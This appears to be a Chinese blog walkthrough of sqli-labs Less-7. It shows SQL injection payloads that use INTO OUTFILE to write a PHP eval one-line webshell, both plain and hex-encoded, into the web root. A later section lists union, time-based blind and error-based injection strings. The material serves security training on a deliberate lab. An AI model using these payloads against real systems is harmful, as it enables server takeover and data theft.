SQL注入:sqli-labs靶场通关(第七关 一句话木马)

数据库文件上传漏洞与木马注入

文件上传漏洞是什么

指程序员在编写文件上传的代码中,没有严格的过滤与控制,让恶意用户可以越权上传恶意脚本文件webshell(比如php,asp的一句话木马),实施未经允许的非法操作。

into outfile语句使用的三个条件

1.具有root权限

2.在数据库配置文件中的 配置项含有:secure_file_priv=(注意在数据库中此项默认为secure_file_priv=null)

3.知道数据库的绝对路径

1.判断注入类型

?id=1'
?id=1"

?id=1')--+
?id=1'))--+

闭合点为 ')) ,注入类型为字符型

2.猜字段

?id=1')) order by 3--+
?id=1')) order by 4--+

有三个字段

3.修改php配置文件

secure_file_priv=''

4.查询是否修改

show GLOBAL VARTABLES LIKE 'secure%'

5.找绝对路径

?id=-1 union select 1,@@datadir,@@basedir

绝对路径为:C:/phpstudy/PHPTutorial/www/sqlilabs/less-7/

6.用into outfile函数写入一句话木马

一句话木马

<?php @eval($_POST['密码']);?>
3c3f70687020406576616c28245f504f53545b2731275d293b3f3e

into outfile函数可以将文件导入到数据库的目录中,通过这个命令我们可以将一句话木马导入

?id=1')) union select 1,"<?php @eval($_POST['1']);?>",3 into outfile 
'C:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\2.php'--+
?id=1')) union select 1,0x3c3f70687020406576616c28245f504f53545b2731275d293b3f3e,3 into outfile 
'C:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\2.php'--+

7.上传

总结:

免责声明:工具本身并无好坏,希望大家以遵守《网络安全法》相关法律为前提来使用该工具,支持研究学习,切勿用于非法犯罪活动,对于恶意使用该工具造成的损失,和本人及开发者无关。

 

SQL注入是利用网站应用程序在构建数据库查询时的不当处理,攻击者插入恶意SQL代码片段,执行后可能泄露敏感信息、修改数据甚至控制服务器。对于sqli - labs靶场不同卡,有不同的通关方法。 在sqli - labs靶场Less - 1(GET_非盲注)部分,这属于GET型非盲注情况。对于这种情况,通常可以利用构造恶意SQL语句来探测数据库信息。例如,通过在URL参数处构造类似 `id=1' OR 1=1 --+` 这样的语句,若页面显示异常或显示了不同的数据,就说明存在SQL注入漏洞。之后可以进步构造语句获取数据库名、表名、字段名等信息,如 `id=-1' UNION SELECT 1, database(), 3 --+` 来获取当前数据库名 [^1]。 对于sqli - labs靶场Less - 5 ~ Less - 10(GET_盲注),由于是盲注情况,无法直接从页面获取完整的查询结果,需要通过构造条件判断语句,根据页面返回的不同状态来推断信息。例如可以使用 `id=1' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())>0, SLEEP(5), 1) --+` 这样的语句,若页面响应延迟了5秒,就说明当前数据库存在表。通过不断构造类似的条件判断语句,逐步获取数据库的信息 [^2]。 在卡还可以使用报错注入,如在某些情况下使用 `'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1` 这样的语句,利用 `UPDATEXML` 函数的错误来输出数据库名等信息 [^3]。 ```sql -- 示例:获取数据库名 id=-1' UNION SELECT 1, database(), 3 --+ -- 示例:盲注判断是否存在表 id=1' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())>0, SLEEP(5), 1) --+ -- 示例:报错注入获取数据库名 'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值